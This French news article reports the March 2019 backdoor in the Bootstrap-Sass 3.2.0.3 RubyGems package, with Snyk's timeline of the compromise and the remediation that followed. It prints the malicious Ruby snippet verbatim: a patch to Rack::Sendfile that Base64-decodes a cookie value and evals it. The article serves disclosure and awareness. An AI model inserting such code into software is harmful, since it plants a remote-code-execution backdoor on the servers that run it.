La porte dérobée a été supprimée de RubyGems le jour même où elle a été signalée. L’équipe Bootstrap-Sass a également révoqué l’accès à RubyGems pour le développeur dont le compte était, selon eux, compromis et utilisé pour envoyer le code malveillant.
Bootstrap-Sass v3.2.0.4 a également été publié avant-hier, sur RubyGems et GitHub, afin de supprimer les restes de porte dérobée. La mise à jour doit également déclencher une notification pour que les développeurs mettent à jour leur code avec cette nouvelle version, et suppriment également les portes dérobées des projets existants.
La découverte
L’existence de la porte dérobée a été révélée le 27 mars, lorsque le développeur de logiciels Derek Barnes a remarqué que quelqu'un avait supprimé une version de la bibliothèque (Bootstrap-Sass v3.2.0.2) et avait immédiatement publié une nouvelle version, quelques instants plus tard, v3. 2.0.3.
Ce qui a attiré l'attention de Barnes sur cette version est le fait que la modification n'a été effectuée que sur RubyGems, un référentiel populaire pour les bibliothèques Ruby, mais pas sur GitHub, où le code source de la bibliothèque était géré.
La porte dérobée était donc judicieusement masquée dans la version 3.2.0.3 publiée uniquement par RubyGems et aucune source de la version malveillante n'existait dans le référentiel GitHub. Elle permettait à des attaquants distants d'exécuter de manière dynamique du code sur des serveurs hébergeant les versions vulnérables.
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | begin require 'rack/sendfile' if Rails.env.production? Rack::Sendfile.tap do |r| r.send :alias_method, :c, :call r.send(:define_method, :call) do |e| begin x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s) eval(x) if x rescue Exception end c(e) end end end rescue Exception nil end |
Snyk, une société spécialisée en cybersécurité, a livré son analyse de la situation :
- La version 3.2.0.2 a été supprimée du registre RubyGems. Cela signifie que l'archive est toujours accessible directement via le référentiel RubyGems, mais qu'elle n'est pas visible pour le gestionnaire de paquets. Autant que nous sachions, cette version n’est pas malveillante et a été tirée par les acteurs malveillants afin d’amener les utilisateurs à passer à la version 3.2.0.3 qu’ils ont ensuite publiée.
- Le 26 mars, la version 3.2.0.3 a été publiée par des acteurs malveillants. La version inclut une porte dérobée dans un nouveau fichier, lib / active-controller / middleware.rb. La porte dérobée se connecte à un autre module Ruby et le modifie pour que les cookies spécifiques envoyés par le client soient décodés en Base64, puis évalués au moment de l'exécution, afin de permettre l'exécution de code à distance.
- La version malveillante 3.2.0.3 correspond à la somme de contrôle SHA256 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0.
- Nous supposons que l'attaquant a obtenu les informations d'identification lui permettant de publier le package RubyGems malveillant de l'un des deux responsables, mais cela n'a pas été officiellement confirmé.
- Le 26 mars à 22 h 59, GMT, Derek Barnes a ouvert un numéro sur le référentiel public pour informer les mainteneurs et la communauté plus large de ses soupçons concernant le code contenu dans la version 3.2.0.3.
- Le 26 mars à 23 h 56 GMT, à peine une heure plus tard, la version malveillante a été supprimée du référentiel RubyGems et les responsables ont confirmé avoir mis à jour leurs informations d'identification.
- En raison de la suppression des versions 3.2.0.2 et 3.2.0.3, les utilisateurs devaient passer à d'autres versions, telles que 3.4.1, comme recommandé par les responsables de projet.
- Le 3 avril 2019, à 16 h 10 GMT, les responsables du projet ont publié une nouvelle version, 3.2.0.4, identique à la version rétractée, 3.2.0.2, permettant aux utilisateurs de passer facilement à une version sûre sans avoir à recourir à un changement de version majeur.
- Le 4 avril 2019 à 16h46, la version vulnérable de 3.2.0.2 a été supprimée de manière incorrecte et est restée dans le registre RubyGems par le biais de miroirs pendant plusieurs jours. Il a été rapporté qu'elle est maintenant totalement indisponible.
Peu de projets impactés
Toutefois, le nombre de projets impactés est considéré comme faible, car la dernière version de la bibliothèque était Bootstrap-Sass v3.4.1 et très peu de développeurs utilisaient l’ancienne branche.
« Une analyse rapide montre qu'environ 1 670 référentiels GitHub ont pu être exposés à la bibliothèque malveillante par le biais d'une utilisation directe », a déclaré la société de cybersécurité Snyk. « Ce nombre augmentera considérablement si l'on compte son utilisation dans les applications comme une dépendance transitive »
Selon les statistiques officielles de RubyGems, la bibliothèque Bootstrap-Sass a été téléchargée près de 28 millions de fois à partir du portail RubyGems. Cependant, ces statistiques sont historiques et ne reflètent pas toutes les téléchargements de la version avec porte dérobée. Les téléchargements de la version 3.2.0.3 contenant la porte dérobée s’élevaient à un peu plus de 1 470.
Sources : GitHub, Snyk